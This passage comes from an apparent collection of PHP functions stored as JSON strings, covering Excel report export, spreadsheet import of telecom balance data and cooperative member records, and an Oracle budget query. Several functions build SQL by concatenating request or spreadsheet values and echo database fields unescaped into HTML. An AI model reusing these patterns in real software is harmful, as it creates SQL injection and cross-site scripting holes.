);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('C'.$num,$report['fb_name']);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('D'.$num,$report['fb_email']);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('E'.$num,$report['c_date']);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('F'.$num,$report['image']);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('G'.$num,$report['img_date']);\n\t\t\t\n\t\t\t$num++;\n\t\t\t$i++;\n\t\t}\n\t\t \n\t\t$filename = $this->createFilename( 'General' ); //save our workbook as this file name\n\t\theader('Content-Type: application/vnd.ms-excel;charset=tis-620\"'); //mime type\n\t\theader('Content-Disposition: attachment;filename=\"'.$filename.'\"'); //tell browser what's the file name\n\t\theader('Cache-Control: max-age=0'); //no cache\n\t\t\t\t\t\n\t\t//save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\n\t\t//if you want to save it as .XLSX Excel 2007 format\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5'); \n\t\t//force user to download the Excel file without writing it to server's HD\n\t\t$objWriter->save('php://output');\n\t\t\n\t}", "public function todaInfoProductos(){\n\n for($i = 0; $i < count($this -> listProducto); $i++){\n $this -> listProducto[$i][0] -> getInfoBasic();\n }\n }", "public function rerate($ruta,$accionLog)\n {\n //Aumento el tiempo de ejecucion\n //ini_set('max_execution_time', 1200);\n //importo la extension\n Yii::import(\"ext.Excel.Spreadsheet_Excel_Reader\");\n //Oculto los errores\n error_reporting(E_ALL ^ E_NOTICE);\n //instancio la clase de lector\n //Verifico la existencia del archivo\n if(file_exists($ruta))\n {\n $data = new Spreadsheet_Excel_Reader();\n //uso esta codificacion ya que dio problemas usando utf-8 directamente\n $data->setOutputEncoding('ISO-8859-1');\n $data->read($ruta);\n }\n else\n {\n $this->error=self::ERROR_FILE;\n return false;\n }\n //Comienza la lectura\n for($i=5; $i<$data->sheets[0]['numRows']; $i++)\n {\n $balancetemp=new BalanceTemp;\n //Obtengo la fecha\n $balancetemp->date_balance=Utility::formatDate($data->sheets[0]['cells'][1][4]);\n for($j=1; $j<=$data->sheets[0]['numCols']; $j++)\n { \n switch($j)\n {\n case 1:\n //Obtengo el id del destino\n if($data->sheets[0]['cells'][$i][$j]=='Total')\n {\n break 3;\n }\n else\n {\n if($this->tipo==\"external\")\n {\n $balancetemp->id_destination=Destination::getId(utf8_encode($data->sheets[0]['cells'][$i][$j]));\n $balancetemp->id_destination_int=NULL;\n }\n else\n {\n $balancetemp->id_destination_int=DestinationInt::getId(utf8_encode($data->sheets[0]['cells'][$i][$j]));\n $balancetemp->id_destination=NULL;\n } \n }\n break;\n case 2:\n //obtengo el id del carrier y antes lo codifico a utf-8 para no dar problemas con la funcion\n if($data->sheets[0]['cells'][$i][$j]=='Total')\n {\n //Si es total no lo guardo en base de datos\n break 2;\n }\n else\n {\n $balancetemp->id_carrier_customer=Carrier::getId(utf8_encode($data->sheets[0]['cells'][$i][$j]));\n }\n break;\n case 3:\n //obtengo el id del carrier y antes lo codifico a utf-8 para no dar problemas con la funcion\n if($data->sheets[0]['cells'][$i][$j]=='Total')\n {\n //Si es total no lo guardo en base de datos\n break 2;\n }\n else\n {\n $balancetemp->id_carrier_supplier=Carrier::getId(utf8_encode($data->sheets[0]['cells'][$i][$j]));\n }\n break;\n case 4:\n //minutos\n $balancetemp->minutes=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 5:\n //ACD\n $balancetemp->acd=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 6:\n //ASR\n $balancetemp->asr=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 7:\n //Margin %\n $balancetemp->margin_percentage=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 8:\n //Margin per Min\n $balancetemp->margin_per_minute=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 9:\n //Cost per Min\n $balancetemp->cost_per_minute=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 10:\n //Revenue per Min\n $balancetemp->revenue_per_minute=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 11:\n //PDD\n $balancetemp->pdd=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 12:\n //Imcomplete Calls\n $balancetemp->incomplete_calls=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 13:\n //Imcomplete Calls Ner\n $balancetemp->incomplete_calls_ner=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 14:\n //Complete Calls Ner\n $balancetemp->complete_calls_ner=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 15:\n //Complete Calls\n $balancetemp->complete_calls=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 16:\n //Calls Attempts\n $balancetemp->calls_attempts=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 17:\n //Duration Real\n $balancetemp->duration_real=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 18:\n //Duration Cost\n $balancetemp->duration_cost=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 19:\n //NER02 Efficient\n $balancetemp->ner02_efficient=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 20:\n //NER02 Seizure\n $balancetemp->ner02_seizure=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 21:\n //PDDCalls\n $balancetemp->pdd_calls=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 22:\n //Revenue\n $balancetemp->revenue=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 23:\n //Cost\n $balancetemp->cost=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 24:\n //Margin\n $balancetemp->margin=Utility::notNull($data->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n default:\n $balancetemp->date_change=date(\"Y-m-d\");\n if($balancetemp->save())\n {\n $this->error=self::ERROR_NONE;\n }\n else\n {\n $this->error=self::ERROR_SAVE_DB;\n }\n }\n }\n }\n /*if($this->error>0)\n {\n return false;\n }\n else\n {\n if(Log::registrarLog(LogAction::getId($accionLog),$balancetemp->date_balance))\n {\n $this->error=ERROR_NONE;\n return true;\n }\n else\n {\n $this->error=ERROR_SAVE_LOG;\n return false;\n }\n \n } */ \n }", "public function consultarDadosAnexoIIExcel($dados) {\n\n $ano = $dados['REGC_AA_REGRA'];\n $mes = $dados['IMPA_IC_MES'];\n\n $sql = \"\n\n SELECT DISTINCT\n \n CASE WHEN SUBSTR (PTRS_CD_PT_COMPLETO, 7,7) IS NULL\n THEN '---'\n ELSE SUBSTR (PTRS_CD_PT_COMPLETO, 6,13)\n END AS FUNCIONAL_PROGRAMATICA,\n \n CASE WHEN ptrs_ds_pt_resumido IS NULL \n THEN IMPO_CD_PTRES ||' - [descrição não encontrada]'\n ELSE ptrs_ds_pt_resumido\n END AS PROGRAMA_ACAO,\n\n CASE WHEN PTRS_CD_PT_COMPLETO IS NOT NULL\n THEN SUBSTR(PTRS_CD_PT_COMPLETO, 1,5)\n ELSE '---'\n END AS FUNCAO_SUBFUNCAO,\n \n IMPO_CD_ESFERA,\n SUBSTR(IMPO_CD_NATUREZA_DESPESA, 1,1) AS GND, \n IMPO_CD_FONTE,\n IMPO_CD_PTRES,\n (\n SELECT\n SUM($mes) as IMPO_VL_TOTAL\n FROM CEO_TB_IMPA_IMPORTAR_ARQUIVO IMPA\n LEFT JOIN CEO_TB_IMPO_IMPORTACAO IMPO\n ON IMPA.IMPA_ID_IMPORT_ARQUIVO = IMPO.IMPO_ID_IMPORT_ARQUIVO\n WHERE \n IMPA.IMPA_AA_IMPORTACAO = $ano \n AND IMPA.IMPA_IC_TP_ARQUIVO = 4\n AND IMPO.IMPO_CD_PTRES = PIMPO.IMPO_CD_PTRES\n AND IMPO.IMPO_CD_ESFERA = PIMPO.IMPO_CD_ESFERA\n AND IMPO.IMPO_CD_FONTE = PIMPO.IMPO_CD_FONTE \n ) AS DOTACAO,\n\n (\n SELECT\n SUM($mes) as IMPO_VL_TOTAL\n FROM CEO_TB_IMPA_IMPORTAR_ARQUIVO IMPA\n LEFT JOIN CEO_TB_IMPO_IMPORTACAO IMPO\n ON IMPA.IMPA_ID_IMPORT_ARQUIVO = IMPO.IMPO_ID_IMPORT_ARQUIVO\n WHERE \n IMPA.IMPA_AA_IMPORTACAO = $ano \n AND IMPA.IMPA_IC_TP_ARQUIVO = 2\n AND IMPO.IMPO_CD_PTRES = PIMPO.IMPO_CD_PTRES\n AND IMPO.IMPO_CD_ESFERA = PIMPO.IMPO_CD_ESFERA\n AND IMPO.IMPO_CD_FONTE = PIMPO.IMPO_CD_FONTE \n ) AS SUPLEMENTACAO,\n\n (\n SELECT\n SUM($mes) as IMPO_VL_TOTAL\n FROM CEO_TB_IMPA_IMPORTAR_ARQUIVO IMPA\n LEFT JOIN CEO_TB_IMPO_IMPORTACAO IMPO\n ON IMPA.IMPA_ID_IMPORT_ARQUIVO = IMPO.IMPO_ID_IMPORT_ARQUIVO\n WHERE \n IMPA.IMPA_AA_IMPORTACAO = $ano \n AND IMPA.IMPA_IC_TP_ARQUIVO = 5\n AND IMPO.IMPO_CD_PTRES = PIMPO.IMPO_CD_PTRES\n AND IMPO.IMPO_CD_ESFERA = PIMPO.IMPO_CD_ESFERA\n AND IMPO.IMPO_CD_FONTE = PIMPO.IMPO_CD_FONTE \n ) AS CANCELAMENTO,\n\n (\n SELECT\n SUM($mes) as IMPO_VL_TOTAL\n FROM CEO_TB_IMPA_IMPORTAR_ARQUIVO IMPA\n LEFT JOIN CEO_TB_IMPO_IMPORTACAO IMPO\n ON IMPA.IMPA_ID_IMPORT_ARQUIVO = IMPO.IMPO_ID_IMPORT_ARQUIVO\n WHERE \n IMPA.IMPA_AA_IMPORTACAO = $ano \n AND IMPA.IMPA_IC_TP_ARQUIVO = 6\n AND IMPO.IMPO_CD_PTRES = PIMPO.IMPO_CD_PTRES\n AND IMPO.IMPO_CD_ESFERA = PIMPO.IMPO_CD_ESFERA\n AND IMPO.IMPO_CD_FONTE = PIMPO.IMPO_CD_FONTE \n ) AS CONTINGENCIAMENTO,\n\n (\n SELECT\n SUM($mes) as IMPO_VL_TOTAL\n FROM CEO_TB_IMPA_IMPORTAR_ARQUIVO IMPA\n LEFT JOIN CEO_TB_IMPO_IMPORTACAO IMPO\n ON IMPA.IMPA_ID_IMPORT_ARQUIVO = IMPO.IMPO_ID_IMPORT_ARQUIVO\n WHERE \n IMPA.IMPA_AA_IMPORTACAO = $ano \n AND IMPA.IMPA_IC_TP_ARQUIVO = 4\n AND IMPO.IMPO_CD_PTRES = PIMPO.IMPO_CD_PTRES\n AND IMPO.IMPO_CD_ESFERA = PIMPO.IMPO_CD_ESFERA\n AND IMPO.IMPO_CD_FONTE = PIMPO.IMPO_CD_FONTE \n ) AS DOTACAO_AUTORIAZADA,\n\n (\n SELECT\n SUM($mes) as IMPO_VL_TOTAL\n FROM CEO_TB_IMPA_IMPORTAR_ARQUIVO IMPA\n LEFT JOIN CEO_TB_IMPO_IMPORTACAO IMPO\n ON IMPA.IMPA_ID_IMPORT_ARQUIVO = IMPO.IMPO_ID_IMPORT_ARQUIVO\n WHERE \n IMPA.IMPA_AA_IMPORTACAO = $ano \n AND IMPA.IMPA_IC_TP_ARQUIVO = 7\n AND IMPO.IMPO_CD_PTRES = PIMPO.IMPO_CD_PTRES\n AND IMPO.IMPO_CD_ESFERA = PIMPO.IMPO_CD_ESFERA\n AND IMPO.IMPO_CD_FONTE = PIMPO.IMPO_CD_FONTE \n ) AS PROVISAO,\n\n (\n SELECT\n SUM($mes) as IMPO_VL_TOTAL\n FROM CEO_TB_IMPA_IMPORTAR_ARQUIVO IMPA\n LEFT JOIN CEO_TB_IMPO_IMPORTACAO IMPO\n ON IMPA.IMPA_ID_IMPORT_ARQUIVO = IMPO.IMPO_ID_IMPORT_ARQUIVO\n WHERE \n IMPA.IMPA_AA_IMPORTACAO = $ano \n AND IMPA.IMPA_IC_TP_ARQUIVO = 8\n AND IMPO.IMPO_CD_PTRES = PIMPO.IMPO_CD_PTRES\n AND IMPO.IMPO_CD_ESFERA = PIMPO.IMPO_CD_ESFERA\n AND IMPO.IMPO_CD_FONTE = PIMPO.IMPO_CD_FONTE \n ) AS DESTAQUE,\n\n (\n SELECT\n SUM($mes) as IMPO_VL_TOTAL\n FROM CEO_TB_IMPA_IMPORTAR_ARQUIVO IMPA\n LEFT JOIN CEO_TB_IMPO_IMPORTACAO IMPO\n ON IMPA.IMPA_ID_IMPORT_ARQUIVO = IMPO.IMPO_ID_IMPORT_ARQUIVO\n WHERE \n IMPA.IMPA_AA_IMPORTACAO = $ano \n AND IMPA.IMPA_IC_TP_ARQUIVO = 9\n AND IMPO.IMPO_CD_PTRES = PIMPO.IMPO_CD_PTRES\n AND IMPO.IMPO_CD_ESFERA = PIMPO.IMPO_CD_ESFERA\n AND IMPO.IMPO_CD_FONTE = PIMPO.IMPO_CD_FONTE \n ) AS EMPENHADO,\n\n (\n SELECT\n SUM($mes) as IMPO_VL_TOTAL\n FROM CEO_TB_IMPA_IMPORTAR_ARQUIVO IMPA\n LEFT JOIN CEO_TB_IMPO_IMPORTACAO IMPO\n ON IMPA.IMPA_ID_IMPORT_ARQUIVO = IMPO.IMPO_ID_IMPORT_ARQUIVO\n WHERE \n IMPA.IMPA_AA_IMPORTACAO = 2015 \n AND IMPA.IMPA_IC_TP_ARQUIVO = 3\n AND IMPO.IMPO_CD_PTRES = PIMPO.IMPO_CD_PTRES\n AND IMPO.IMPO_CD_ESFERA = PIMPO.IMPO_CD_ESFERA\n AND IMPO.IMPO_CD_FONTE = PIMPO.IMPO_CD_FONTE \n ) AS LIQUIDADO, \n \n (\n SELECT\n SUM($mes) as IMPO_VL_TOTAL\n FROM CEO_TB_IMPA_IMPORTAR_ARQUIVO IMPA\n LEFT JOIN CEO_TB_IMPO_IMPORTACAO IMPO\n ON IMPA.IMPA_ID_IMPORT_ARQUIVO = IMPO.IMPO_ID_IMPORT_ARQUIVO\n WHERE \n IMPA.IMPA_AA_IMPORTACAO = 2015 \n AND IMPA.IMPA_IC_TP_ARQUIVO = 10\n AND IMPO.IMPO_CD_PTRES = PIMPO.IMPO_CD_PTRES\n AND IMPO.IMPO_CD_ESFERA = PIMPO.IMPO_CD_ESFERA\n AND IMPO.IMPO_CD_FONTE = PIMPO.IMPO_CD_FONTE \n ) AS PAGO,\n \n UNGE_SG_SECAO,\n UNGE_SG_UG, \n IMPO_CD_UG,\n IMPO_CD_PTRES,\n PTRS_CD_PT_COMPLETO,\n PTRS_DS_PROGRAMA_ACAO\n --IMPO_CD_NATUREZA_DESPESA\n\n FROM CEO_TB_IMPA_IMPORTAR_ARQUIVO PIMPA\n\n LEFT JOIN CEO_TB_IMPO_IMPORTACAO PIMPO\n ON IMPA_ID_IMPORT_ARQUIVO = IMPO_ID_IMPORT_ARQUIVO\n\n LEFT JOIN CEO_TB_PTRS_PROGRAMA_TRABALHO\n ON PTRS_CD_PT_RESUMIDO = IMPO_CD_PTRES\n\n LEFT JOIN CEO_TB_UNGE_UNIDADE_GESTORA\n ON UNGE_CD_UG = IMPO_CD_UG\n\n INNER JOIN CEO_TB_REGC_REGRA_CNJ R \n ON impo_cd_natureza_despesa BETWEEN \n R.regc_vl_natureza_desp_inicial and R.regc_vl_natureza_desp_final\n\n WHERE\n -- ptrs_cd_pt_completo like '%56909HB%' AND\n \n IMPA_AA_IMPORTACAO = $ano\n \n $filtroUg\n \n -- AND IMPO_CD_PTRES = 96962 filtroptresOff\n\n AND IMPO_IC_CATEGORIA IS NULL\n AND UNGE_CD_UG IS NOT NULL \n AND IMPO_CD_FONTE IS NOT NULL\n\n GROUP BY\n IMPO_CD_FONTE,\n IMPO_CD_PTRES,\n ptrs_ds_pt_resumido,\n IMPO_CD_NATUREZA_DESPESA,\n IMPO_CD_ESFERA,\n UNGE_SG_SECAO,\n UNGE_SG_UG, \n IMPO_CD_UG,\n IMPO_CD_PTRES,\n PTRS_CD_PT_COMPLETO,\n PTRS_DS_PROGRAMA_ACAO \n ORDER BY\n UNGE_SG_SECAO,\n UNGE_SG_UG\n\n \";\n\n $db = Zend_Db_Table::getDefaultAdapter();\n $retorno = $db->fetchAll($sql);\n return $retorno;\n }", "static public function ctrDescargarReporte(){\n if(isset($_GET[\"reporte\"])){\n $tabla=\"ventas\";\n if(isset($_GET[\"fechaInicial\"]) && isset($_GET[\"fechaFinal\"])){\n $ventas = ModeloVentas::mdlRangoFechasVentas($tabla,$_GET[\"fechaInicial\"],$_GET[\"fechaFinal\"]);\n\n }else{\n $item=null;\n $valor=null;\n $ventas = ModeloVentas::mdlMostrarVentas($tabla,$item,$valor);\n }\n \n //CREAMOS EL ARCHIVO EXCEL\n $Name=$_GET[\"reporte\"].'.xls';\n header('Expires: 0');\n header('Cache-control: private');\n header(\"Content-type: application/vnd.ms-excel\"); // Archivo de Excel\n header(\"Cache-Control: cache, must-revalidate\"); \n header('Content-Description: File Transfer');\n header('Last-Modified: '.date('D, d M Y H:i:s'));\n header(\"Pragma: public\"); \n header('Content-Disposition:; filename=\"'.$Name.'\"');\n header(\"Content-Transfer-Encoding: binary\");\n\n echo utf8_decode(\"<table border='0'>\n <tr>\n <td style='font-weight:bold; border: 1px solid #eee;'>CODIGO</td>\n <td style='font-weight:bold; border: 1px solid #eee;'>CLIENTE</td>\n <td style='font-weight:bold; border: 1px solid #eee;'>VENDEDOR</td>\n <td style='font-weight:bold; border: 1px solid #eee;'>CANTIDAD</td>\n <td style='font-weight:bold; border: 1px solid #eee;'>PRODUCTOS</td>\n <td style='font-weight:bold; border: 1px solid #eee;'>IMPUESTO</td>\n <td style='font-weight:bold; border: 1px solid #eee;'>NETO</td>\n <td style='font-weight:bold; border: 1px solid #eee;'>TOTAL</td>\n <td style='font-weight:bold; border: 1px solid #eee;'>METODO DE PAGO</td>\n <td style='font-weight:bold; border: 1px solid #eee;'>FECHA</td>\n </tr>\");\n \n foreach ($ventas as $row => $item) {\n\n $cliente= ControladorClientes::ctrMostrarClientes(\"id\",$item[\"id_cliente\"]);\n $vendedor= ControladorUsuarios::ctrMostrarUsuarios(\"id\",$item[\"id_vendedor\"]);\n\n echo utf8_decode(\"<tr>\n\t\t\t \t\t\t<td style='border:1px solid #eee;'>\".$item[\"codigo\"].\"</td> \n\t\t\t \t\t\t<td style='border:1px solid #eee;'>\".$cliente[\"nombre\"].\"</td>\n\t\t\t \t\t\t<td style='border:1px solid #eee;'>\".$vendedor[\"nombre\"].\"</td>\n\t\t\t \t\t\t<td style='border:1px solid #eee;'>\");\n\n\t\t\t \t$productos = json_decode($item[\"productos\"], true);\n\n\t\t\t \tforeach ($productos as $key => $valueProductos) {\n\t\t\t \t\t\t\n\t\t\t \t\t\techo utf8_decode($valueProductos[\"cantidad\"].\"<br>\");\n\t\t\t \t\t}\n\n\t\t\t \techo utf8_decode(\"</td><td style='border:1px solid #eee;'>\");\t\n\n\t\t \t\tforeach ($productos as $key => $valueProductos) {\n\t\t\t \t\t\t\n\t\t \t\t\techo utf8_decode($valueProductos[\"descripcion\"].\"<br>\");\n\t\t \t\t\n\t\t \t\t}\n\n\t\t \t\techo utf8_decode(\"</td>\n\t\t\t\t\t<td style='border:1px solid #eee;'>$ \".number_format($item[\"impuesto\"],2).\"</td>\n\t\t\t\t\t<td style='border:1px solid #eee;'>$ \".number_format($item[\"neto\"],2).\"</td>\t\n\t\t\t\t\t<td style='border:1px solid #eee;'>$ \".number_format($item[\"total\"],2).\"</td>\n\t\t\t\t\t<td style='border:1px solid #eee;'>\".$item[\"metodo_pago\"].\"</td>\n\t\t\t\t\t<td style='border:1px solid #eee;'>\".substr($item[\"fecha\"],0,10).\"</td>\t\t\n\t\t \t\t\t</tr>\");\n\n\n\t\t\t}\n\n\n\t\t\techo \"</table>\";\n\n\n }\n }", "public function prosesimport()\n {\n // include APPPATH.'third_party/PHPExcel/PHPExcel.php';\n\t\trequire_once APPPATH.\"/libraries/phpexcel/PHPExcel.php\"; \n\t\t \n\t\t$config['upload_path'] = FCPATH . 'uploads/temp/';\n $config['allowed_types'] = 'xlsx|xls|csv';\n $config['max_size'] = '10000';\n $config['encrypt_name'] = true;\n\n $this->load->library('upload', $config);\n\n if (!$this->upload->do_upload()) \n\t\t{\n\n //upload gagal\n $this->session->set_flashdata('notif', '<div class=\"alert alert-danger\"><b>PROSES IMPORT GAGAL!</b> '.$this->upload->display_errors().'</div>');\n //redirect halaman\n redirect('importanggota');\n\n } \n\t\telse \n\t\t{\n\n $data_upload = $this->upload->data();\n\n $excelreader = new PHPExcel_Reader_Excel2007();\n $loadexcel = $excelreader->load('uploads/temp/'.$data_upload['file_name']); // Load file yang telah diupload ke folder excel\n $sheet = $loadexcel->getActiveSheet()->toArray(null, true, true ,true);\n\n $data = array();\n\n $numrow = 1;\n foreach($sheet as $row){\n\t\t\t \n\t\t\t\tif($numrow > 1){\n\t\t\t\t\t // trim(strip_tags(addslashes(strtoupper($this->input->post(\"suku\", TRUE)))))\n\t\t\t\t\t// $NO_ANGGOTA = $row['A'] ; // NO ANGGOTA\n\t\t\t\t\t\n\t\t\t\t\t$gettgldaftar = trim(strip_tags($row['B'])) ; // TANGGAL DAFTAR\n\t\t\t\t\t$pec = explode(\"/\",$gettgldaftar);\n\t\t\t\t\t\n\t\t\t\t\t$settgldaftar = date_create($pec[2].\"-\".$pec[1].\"-\".$pec[0]);\n\t\t\t\t\t$TGL_DAFTAR = date_format($settgldaftar,\"Y-m-d\");\n\t\t\t\t\t \n\t\t\t\t\t// $TGL_DAFTAR = trim(strip_tags($row['B'])) ; \n\t\t\t\t\t$CABANG = trim(strip_tags(addslashes($row['C']))) ; // CABANG\n\t\t\t\t\t$NAMA = trim(strip_tags(addslashes($row['D']))) ; // NAMA ANGGOTA\n\t\t\t\t\t$TMP_LAHIR = trim(strip_tags(addslashes($row['E']))) ; // TEMPAT LAHIR\n\t\t\t\t\t\n\t\t\t\t\t$gettgllahir = trim(strip_tags($row['F'])) ; // TGL LAHIR\n\t\t\t\t\t$pech = explode(\"/\",$gettgllahir);\n\t\t\t\t\t\n\t\t\t\t\t$ctgllahir = date_create($pech[2].\"-\".$pech[1].\"-\".$pech[0]);\n\t\t\t\t\t$TGL_LAHIR = date_format($ctgllahir,\"Y-m-d\");\n\t\t\t\t\t \n\t\t\t\t\t// $TGL_LAHIR = trim(strip_tags($row['F'])) ;\n\t\t\t\t\t$ALAMAT_DOMISILI = trim(strip_tags(addslashes($row['G']))) ; // ALAMAT DOMISILI\n\t\t\t\t\t$IDPROVINSI = trim(strip_tags(addslashes($row['H']))) ; // PROVINSI\n\t\t\t\t\t$IDKOTA = trim(strip_tags(addslashes($row['I']))) ; // KOTA\n\t\t\t\t\t$IDKECAMATAN = trim(strip_tags(addslashes($row['J']))) ; // KECAMATAN\n\t\t\t\t\t$IDKELURAHAN = trim(strip_tags(addslashes($row['K']))) ; // KELURAHAN\n\t\t\t\t\t$AGAMA = trim(strip_tags(addslashes($row['L']))) ; // AGAMA\n\t\t\t\t\t$JK = trim(strip_tags(addslashes($row['M']))) ; // JENIS_KLAMIN\n\t\t\t\t\t$TELP = trim(strip_tags(addslashes($row['N']))) ; // TELP\n\t\t\t\t\t$STATUS = trim(strip_tags(addslashes($row['O']))) ; // STATUS\n\t\t\t\t\t$IDENTITAS = trim(strip_tags(addslashes($row['P']))) ; // IDENTITAS \n\t\t\t\t\t$NO_IDENTITAS = trim(strip_tags(addslashes($row['Q']))) ; // NO IDENTITAS\n\t\t\t\t\t$IBU_KANDUNG = trim(strip_tags(addslashes($row['R']))) ; // IBU KANDUNG\n\t\t\t\t\t \n\t\t\t\t\t \n\t\t\t\t\t// echo $TGL_DAFTAR.\"</br>\";\n\t\t\t\t\t$nom = $this->dbasemodel->loadsql(\"SELECT COALESCE(MAX(NO_ANGGOTA), 0)+1 AS NOMER FROM m_anggota WHERE KODEPUSAT='\".$this->session->userdata('wad_kodepusat').\"' AND KODECABANG='\".$CABANG.\"'\");\n\n\t\t\t\t\t$rnom = $nom->row();\n\t\t\t\t\t$invID = str_pad($rnom->NOMER, 4, '0', STR_PAD_LEFT);\n\t\t\t\t\t\n\t\t\t\t\t$getKodecabang = $this->dbasemodel->loadsql(\"SELECT * FROM m_cabang WHERE KODE='\".$CABANG.\"'\")->row();\n\t\t\t\t\t\n\t\t\t\t\t$noAgt = $this->session->userdata('wad_kodepusat').\"-\".$getKodecabang->KODECABANG.\"-\".$invID;\n\t\t\t\t\t\n\t\t\t\t\t$arrInsert = array(\n\t\t\t\t\t\t\t\"NAMA\" => $NAMA,\n\t\t\t\t\t\t\t\"IDENTITAS\" => $IDENTITAS,\n\t\t\t\t\t\t\t\"KODEPUSAT\" => $this->session->userdata('wad_kodepusat'),\n\t\t\t\t\t\t\t\"KODECABANG\" => $CABANG,\n\t\t\t\t\t\t\t\"NO_ANGGOTA\" => $invID,\n\t\t\t\t\t\t\t\"NO_IDENTITAS\" => $NO_IDENTITAS,\n\t\t\t\t\t\t\t\"JK\" => $JK,\n\t\t\t\t\t\t\t\"TMP_LAHIR\" => $TMP_LAHIR,\n\t\t\t\t\t\t\t\"TGL_LAHIR\" => $TGL_LAHIR,\n\t\t\t\t\t\t\t\"IBU_KANDUNG\" => $IBU_KANDUNG,\n\t\t\t\t\t\t\t\"USER\" => $this->session->userdata('wad_user'),\n\t\t\t\t\t\t\t\"STATUS\" => $STATUS, \n\t\t\t\t\t\t\t\"ALAMAT\" => $ALAMAT_DOMISILI,\n\t\t\t\t\t\t\t\"ALAMAT_DOMISILI\" => $ALAMAT_DOMISILI, \n\t\t\t\t\t\t\t\"AGAMA\" => $AGAMA,\n\t\t\t\t\t\t\t\"IDPROVINSI\" => $IDPROVINSI,\n\t\t\t\t\t\t\t\"IDKOTA\" => $IDKOTA,\n\t\t\t\t\t\t\t\"IDKECAMATAN\" => $IDKECAMATAN,\n\t\t\t\t\t\t\t\"IDKELURAHAN\" => $IDKELURAHAN,\n\t\t\t\t\t\t\t\"TELP\" => $TELP, \n\t\t\t\t\t\t\t\"TGL_DAFTAR\" => $TGL_DAFTAR, //date(\"Y-m-d\"), \n\t\t\t\t\t\t\t\"JABATAN\" => '2', //date(\"Y-m-d\"), \n\t\t\t\t\t\t\t\"AKTIF\" => 'Y' //date(\"Y-m-d\"), \n\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t \n\t\t\t\t\t$insertProc = $this->dbasemodel->insertDataProc('m_anggota', $arrInsert);\n\t\t\t\t\t\t\n\t\t\t\t\t$getIdKas = $this->dbasemodel->loadsql(\"SELECT * FROM jenis_kas WHERE TMPL_SIMPAN = 'Y' AND KODECABANG='\".$CABANG.\"' LIMIT 1\")->row();\n\t\t\t\t\t\t\n\t\t\t\t\t$insertsimp = array(\n\t\t\t\t\t\t'ID_ANGGOTA' => $insertProc,\n\t\t\t\t\t\t'TGL_TRX' => date(\"Y-m-d H:i:s\"),\n\t\t\t\t\t\t'ID_JENIS' => \"258\",\n\t\t\t\t\t\t'JUMLAH' => \"30000\",\n\t\t\t\t\t\t'KET_BAYAR' => \"Tabungan\",\n\t\t\t\t\t\t'AKUN' => \"Setoran\",\n\t\t\t\t\t\t'DK' => \"D\", \n\t\t\t\t\t\t'ID_KAS' => $getIdKas->ID_JNS_KAS, \n\t\t\t\t\t\t'ID_KASAKUN' => $getIdKas->IDAKUN, \n\t\t\t\t\t\t'USERNAME' => $this->session->userdata('wad_user'),\n\t\t\t\t\t\t'NAMA_PENYETOR' => $NAMA,\n\t\t\t\t\t\t'NO_IDENTITAS' => $NO_IDENTITAS,\n\t\t\t\t\t\t'ALAMAT' => $ALAMAT_DOMISILI,\n\t\t\t\t\t\t'KODEPUSAT' => $this->session->userdata('wad_kodepusat'),\n\t\t\t\t\t\t'KODECABANG' => $CABANG,\n\t\t\t\t\t\t'KOLEKTOR' => \"0\",\n\t\t\t\t\t\t'STATUS' => \"0\",\n\t\t\t\t\t\t'KETERANGAN' => 'Setoran awal simpanan pokok '.$NAMA.' '.$noAgt\n\t\t\t\t\t);\n\t\t\t\n\t\t\t\t\t$this->dbasemodel->insertData('transaksi_simp', $insertsimp);\n\t\t\t\t\t\t\n\t\t\t\t\t$insertsimp2 = array(\n\t\t\t\t\t\t'ID_ANGGOTA' => $insertProc,\n\t\t\t\t\t\t'TGL_TRX' => date(\"Y-m-d H:i:s\"),\n\t\t\t\t\t\t'ID_JENIS' => \"180\",\n\t\t\t\t\t\t'JUMLAH' => \"50000\",\n\t\t\t\t\t\t'KET_BAYAR'\t => \"Tabungan\",\n\t\t\t\t\t\t'AKUN' => \"Setoran\",\n\t\t\t\t\t\t'DK' => \"D\", \n\t\t\t\t\t\t'ID_KAS' => $getIdKas->ID_JNS_KAS,\n\t\t\t\t\t\t'ID_KASAKUN' => $getIdKas->IDAKUN, \n\t\t\t\t\t\t'USERNAME' => $this->session->userdata('wad_user'),\n\t\t\t\t\t\t'NAMA_PENYETOR' => $NAMA,\n\t\t\t\t\t\t'NO_IDENTITAS' => $NO_IDENTITAS,\n\t\t\t\t\t\t'ALAMAT' => 